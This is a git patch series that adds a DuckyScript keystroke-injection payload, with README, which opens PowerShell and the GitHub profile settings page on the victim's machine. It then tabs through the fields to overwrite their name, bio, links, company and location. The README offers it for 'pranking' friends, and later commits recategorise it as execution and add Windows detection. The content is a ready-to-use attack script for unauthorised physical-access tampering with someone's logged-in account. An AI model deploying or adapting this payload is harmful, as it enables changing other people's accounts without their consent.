From eb254e0d30ba60583d4b6da562661708fa968732 Mon Sep 17 00:00:00 2001 From: Aleff Date: Mon, 26 Jun 2023 17:03:41 +0200 Subject: [PATCH 1/8] Change Github Profile Settings --- .../payload.txt | 62 +++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 payloads/library/prank/Change_Github_Profile_Settings/payload.txt diff --git a/payloads/library/prank/Change_Github_Profile_Settings/payload.txt b/payloads/library/prank/Change_Github_Profile_Settings/payload.txt new file mode 100644 index 0000000..dac79f1 --- /dev/null +++ b/payloads/library/prank/Change_Github_Profile_Settings/payload.txt @@ -0,0 +1,62 @@ +REM ################################################### +REM # | +REM # Title : Change Github Profile Settings | +REM # Author : Aleff | +REM # Version : 1.0 | +REM # Category : Prank | +REM # Target : Windows 10/11 | +REM # | +REM ################################################### + + +REM Requirements: +REM - Internet connection +REM - Logged in Github + +REM You must set the new Profile Settings +DEFINE #NAME example +DEFINE #BIO example +DEFINE #CUSTOM-PRONOUNS example +DEFINE #URL example +DEFINE #SOCIAL-ACCOUNT-1 example +DEFINE #SOCIAL-ACCOUNT-2 example +DEFINE #SOCIAL-ACCOUNT-3 example +DEFINE #SOCIAL-ACCOUNT-4 example +DEFINE #COMPANY example +DEFINE #LOCATION example + +DELAY 1000 +GUI r +DELAY 500 +STRINGLN powershell +DELAY 500 + +STRINGLN Start-Process "https://github.com/settings/profile"; exit; +REM It depends by the computer power and by the internet connection power +DELAY 2000 + +REPEAT 37 TAB +STRING #NAME +REPEAT 4 TAB +STRING #BIO +TAB +REPEAT 4 DOWNARROW +STRING #CUSTOM-PRONOUNS +TAB +STRING #URL +TAB +STRING #SOCIAL-ACCOUNT-1 +TAB +STRING #SOCIAL-ACCOUNT-2 +TAB +STRING #SOCIAL-ACCOUNT-3 +TAB +STRING #SOCIAL-ACCOUNT-4 +TAB +STRING #COMPANY +TAB +STRING #LOCATION +REPEAT 4 TAB +ENTER +DELAY 2000 +ALT-F4 From c1a67472f518d5134828f0c51ab40bd15280361f Mon Sep 17 00:00:00 2001 From: aleff-github Date: Mon, 26 Jun 2023 17:04:49 +0200 Subject: [PATCH 2/8] Create README.md --- .../Change_Github_Profile_Settings/README.md | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 payloads/library/prank/Change_Github_Profile_Settings/README.md diff --git a/payloads/library/prank/Change_Github_Profile_Settings/README.md b/payloads/library/prank/Change_Github_Profile_Settings/README.md new file mode 100644 index 0000000..7009b81 --- /dev/null +++ b/payloads/library/prank/Change_Github_Profile_Settings/README.md @@ -0,0 +1,65 @@ +# Change Github Profile Settings + +This script can be used to prank your friends by modifying their Github profiles as you wish. + +**Category**: Prank + +## Description + +This script can be used to prank your friends by modifying their Github profiles as you wish. + +The script will run a shell and open the default browser in `https://github.com/settings/profile` and close the powershell. When the page is open go to the profile settings TABing many times. + +## Getting Started + +### Dependencies + +* Internet connection +* Logged in Github + +### Settings + +- Here you should define the new name + + ```DuckyScript + [17] DEFINE #NAME example + ``` + +- Here you should define the new Biography + + ```DuckyScript + [18] DEFINE #BIO example + ``` + +- Here you should define the custom pronouns + + ```DuckyScript + [19] DEFINE #CUSTOM-PRONOUNS example + ``` + +- Here you should define the new personal website url + + ```DuckyScript + [20] DEFINE #URL example + ``` + +- Here you should define the new social network links + + ```DuckyScript + [21] DEFINE #SOCIAL-ACCOUNT-1 example + [22] DEFINE #SOCIAL-ACCOUNT-2 example + [23] DEFINE #SOCIAL-ACCOUNT-3 example + [24] DEFINE #SOCIAL-ACCOUNT-4 example + ``` + +- Here you should define the new company + + ```DuckyScript + [25] DEFINE #COMPANY example + ``` + +- Here you should define the new location + + ```DuckyScript + [26] DEFINE #LOCATION example + ``` \ No newline at end of file From 3ebbdd8851a899f2e6e19ce14523ee84759f6e51 Mon Sep 17 00:00:00 2001 From: aleff-github Date: Tue, 27 Jun 2023 08:29:39 +0200 Subject: [PATCH 3/8] PayloadStudio >= 1.3.1 --- payloads/library/prank/Change_Github_Profile_Settings/README.md | 1 + .../library/prank/Change_Github_Profile_Settings/payload.txt | 1 + 2 files changed, 2 insertions(+) diff --git a/payloads/library/prank/Change_Github_Profile_Settings/README.md b/payloads/library/prank/Change_Github_Profile_Settings/README.md index 7009b81..3b9307b 100644 --- a/payloads/library/prank/Change_Github_Profile_Settings/README.md +++ b/payloads/library/prank/Change_Github_Profile_Settings/README.md @@ -16,6 +16,7 @@ The script will run a shell and open the default browser in `https://github.com/ * Internet connection * Logged in Github +* PayloadStudio >= 1.3.1 ### Settings diff --git a/payloads/library/prank/Change_Github_Profile_Settings/payload.txt b/payloads/library/prank/Change_Github_Profile_Settings/payload.txt index dac79f1..badf1e2 100644 --- a/payloads/library/prank/Change_Github_Profile_Settings/payload.txt +++ b/payloads/library/prank/Change_Github_Profile_Settings/payload.txt @@ -12,6 +12,7 @@ REM ################################################### REM Requirements: REM - Internet connection REM - Logged in Github +REM - PayloadStudio >= 1.3.1 REM You must set the new Profile Settings DEFINE #NAME example From 1bd6172bb75e0f2093cb6ab212df4910500419b8 Mon Sep 17 00:00:00 2001 From: aleff-github Date: Tue, 27 Jun 2023 09:43:10 +0200 Subject: [PATCH 4/8] Update README.md --- .../Change_Github_Profile_Settings/README.md | 24 ++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/payloads/library/prank/Change_Github_Profile_Settings/README.md b/payloads/library/prank/Change_Github_Profile_Settings/README.md index 3b9307b..ac19005 100644 --- a/payloads/library/prank/Change_Github_Profile_Settings/README.md +++ b/payloads/library/prank/Change_Github_Profile_Settings/README.md @@ -63,4 +63,26 @@ The script will run a shell and open the default browser in `https://github.com/ ```DuckyScript [26] DEFINE #LOCATION example - ``` \ No newline at end of file + ``` + +## Credits + +

Aleff :octocat:

+
+ + + + + +
+ + + +
Github +
+ + + +
Linkedin +
+
\ No newline at end of file From a9fb6e98dd679c5f1d94e97136bf8eb214649e52 Mon Sep 17 00:00:00 2001 From: aleff-github Date: Wed, 18 Oct 2023 11:28:05 +0200 Subject: [PATCH 5/8] moved to execution --- .../Change_Github_Profile_Settings/README.md | 2 +- .../Change_Github_Profile_Settings/payload.txt | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) rename payloads/library/{prank => execution}/Change_Github_Profile_Settings/README.md (98%) rename payloads/library/{prank => execution}/Change_Github_Profile_Settings/payload.txt (96%) diff --git a/payloads/library/prank/Change_Github_Profile_Settings/README.md b/payloads/library/execution/Change_Github_Profile_Settings/README.md similarity index 98% rename from payloads/library/prank/Change_Github_Profile_Settings/README.md rename to payloads/library/execution/Change_Github_Profile_Settings/README.md index ac19005..6fd092b 100644 --- a/payloads/library/prank/Change_Github_Profile_Settings/README.md +++ b/payloads/library/execution/Change_Github_Profile_Settings/README.md @@ -2,7 +2,7 @@ This script can be used to prank your friends by modifying their Github profiles as you wish. -**Category**: Prank +**Category**: Execution ## Description diff --git a/payloads/library/prank/Change_Github_Profile_Settings/payload.txt b/payloads/library/execution/Change_Github_Profile_Settings/payload.txt similarity index 96% rename from payloads/library/prank/Change_Github_Profile_Settings/payload.txt rename to payloads/library/execution/Change_Github_Profile_Settings/payload.txt index badf1e2..be7621e 100644 --- a/payloads/library/prank/Change_Github_Profile_Settings/payload.txt +++ b/payloads/library/execution/Change_Github_Profile_Settings/payload.txt @@ -3,7 +3,7 @@ REM # | REM # Title : Change Github Profile Settings | REM # Author : Aleff | REM # Version : 1.0 | -REM # Category : Prank | +REM # Category : Execution | REM # Target : Windows 10/11 | REM # | REM ################################################### From dc5c20e7ac1a0b274aa4a11484978746bdf69249 Mon Sep 17 00:00:00 2001 From: Aleff Date: Sun, 14 Jan 2024 11:51:58 +0100 Subject: [PATCH 6/8] Update README.md --- .../library/execution/Change_Github_Profile_Settings/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/execution/Change_Github_Profile_Settings/README.md b/payloads/library/execution/Change_Github_Profile_Settings/README.md index 6fd092b..cfc6063 100644 --- a/payloads/library/execution/Change_Github_Profile_Settings/README.md +++ b/payloads/library/execution/Change_Github_Profile_Settings/README.md @@ -1,6 +1,6 @@ # Change Github Profile Settings -This script can be used to prank your friends by modifying their Github profiles as you wish. +This script can be used to prank your friends by editing their Github account or editing your own to speed up the editing process. **Category**: Execution From 76b023efa3ff2c0dca58b11be597a434b68ad2c4 Mon Sep 17 00:00:00 2001 From: Aleff Date: Sun, 14 Jan 2024 12:55:18 +0100 Subject: [PATCH 7/8] Update README.md --- .../execution/Change_Github_Profile_Settings/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/payloads/library/execution/Change_Github_Profile_Settings/README.md b/payloads/library/execution/Change_Github_Profile_Settings/README.md index cfc6063..43161d3 100644 --- a/payloads/library/execution/Change_Github_Profile_Settings/README.md +++ b/payloads/library/execution/Change_Github_Profile_Settings/README.md @@ -6,7 +6,7 @@ This script can be used to prank your friends by editing their Github account or ## Description -This script can be used to prank your friends by modifying their Github profiles as you wish. +This script can be used to prank your friends by editing their Github account or editing your own to speed up the editing process. The script will run a shell and open the default browser in `https://github.com/settings/profile` and close the powershell. When the page is open go to the profile settings TABing many times. @@ -85,4 +85,4 @@ The script will run a shell and open the default browser in `https://github.com/ - \ No newline at end of file + From c11425f7fd439bdf057f78c41a9aaa3883bd4d64 Mon Sep 17 00:00:00 2001 From: Alessandro Greco Date: Fri, 30 Aug 2024 11:04:59 +0200 Subject: [PATCH 8/8] Update script --- .../Change_Github_Profile_Settings/README.md | 30 ++++----- .../payload.txt | 67 ++++++++++++++++--- 2 files changed, 69 insertions(+), 28 deletions(-) diff --git a/payloads/library/execution/Change_Github_Profile_Settings/README.md b/payloads/library/execution/Change_Github_Profile_Settings/README.md index 43161d3..8551768 100644 --- a/payloads/library/execution/Change_Github_Profile_Settings/README.md +++ b/payloads/library/execution/Change_Github_Profile_Settings/README.md @@ -1,15 +1,11 @@ # Change Github Profile Settings -This script can be used to prank your friends by editing their Github account or editing your own to speed up the editing process. - -**Category**: Execution - -## Description - -This script can be used to prank your friends by editing their Github account or editing your own to speed up the editing process. +This script can be used to edit Github account settings speeding up the editing process. The script will run a shell and open the default browser in `https://github.com/settings/profile` and close the powershell. When the page is open go to the profile settings TABing many times. +**Category**: Execution + ## Getting Started ### Dependencies @@ -23,46 +19,46 @@ The script will run a shell and open the default browser in `https://github.com/ - Here you should define the new name ```DuckyScript - [17] DEFINE #NAME example + [19] DEFINE #NAME example ``` - Here you should define the new Biography ```DuckyScript - [18] DEFINE #BIO example + [20] DEFINE #BIO example ``` - Here you should define the custom pronouns ```DuckyScript - [19] DEFINE #CUSTOM-PRONOUNS example + [21] DEFINE #CUSTOM-PRONOUNS example ``` - Here you should define the new personal website url ```DuckyScript - [20] DEFINE #URL example + [22] DEFINE #URL example ``` - Here you should define the new social network links ```DuckyScript - [21] DEFINE #SOCIAL-ACCOUNT-1 example - [22] DEFINE #SOCIAL-ACCOUNT-2 example - [23] DEFINE #SOCIAL-ACCOUNT-3 example - [24] DEFINE #SOCIAL-ACCOUNT-4 example + [23] DEFINE #SOCIAL-ACCOUNT-1 example + [24] DEFINE #SOCIAL-ACCOUNT-2 example + [25] DEFINE #SOCIAL-ACCOUNT-3 example + [26] DEFINE #SOCIAL-ACCOUNT-4 example ``` - Here you should define the new company ```DuckyScript - [25] DEFINE #COMPANY example + [27] DEFINE #COMPANY example ``` - Here you should define the new location ```DuckyScript - [26] DEFINE #LOCATION example + [28] DEFINE #LOCATION example ``` ## Credits diff --git a/payloads/library/execution/Change_Github_Profile_Settings/payload.txt b/payloads/library/execution/Change_Github_Profile_Settings/payload.txt index be7621e..f306360 100644 --- a/payloads/library/execution/Change_Github_Profile_Settings/payload.txt +++ b/payloads/library/execution/Change_Github_Profile_Settings/payload.txt @@ -1,13 +1,14 @@ -REM ################################################### -REM # | -REM # Title : Change Github Profile Settings | -REM # Author : Aleff | -REM # Version : 1.0 | -REM # Category : Execution | -REM # Target : Windows 10/11 | -REM # | -REM ################################################### - +REM_BLOCK +################################################### +# # +# Title : Change Github Profile Settings # +# Author : Aleff # +# Version : 1.0 # +# Category : Execution # +# Target : Windows 10/11 # +# # +################################################### +END_REM REM Requirements: REM - Internet connection @@ -26,7 +27,51 @@ DEFINE #SOCIAL-ACCOUNT-4 example DEFINE #COMPANY example DEFINE #LOCATION example -DELAY 1000 + +EXTENSION PASSIVE_WINDOWS_DETECT + REM VERSION 1.1 + REM AUTHOR: Korben + + REM_BLOCK DOCUMENTATION + Windows fully passive OS Detection and passive Detect Ready + Includes its own passive detect ready. + Does not require additional extensions. + + USAGE: + Extension runs inline (here) + Place at beginning of payload (besides ATTACKMODE) to act as dynamic + boot delay + $_OS will be set to WINDOWS or NOT_WINDOWS + See end of payload for usage within payload + END_REM + + REM CONFIGURATION: + DEFINE #MAX_WAIT 150 + DEFINE #CHECK_INTERVAL 20 + DEFINE #WINDOWS_HOST_REQUEST_COUNT 2 + DEFINE #NOT_WINDOWS 7 + + $_OS = #NOT_WINDOWS + + VAR $MAX_TRIES = #MAX_WAIT + WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) + DELAY #CHECK_INTERVAL + $MAX_TRIES = ($MAX_TRIES - 1) + END_WHILE + IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN + $_OS = WINDOWS + END_IF + + REM_BLOCK EXAMPLE USAGE AFTER EXTENSION + IF ($_OS == WINDOWS) THEN + STRING HELLO WINDOWS! + ELSE + STRING HELLO WORLD! + END_IF + END_REM +END_EXTENSION + + GUI r DELAY 500 STRINGLN powershell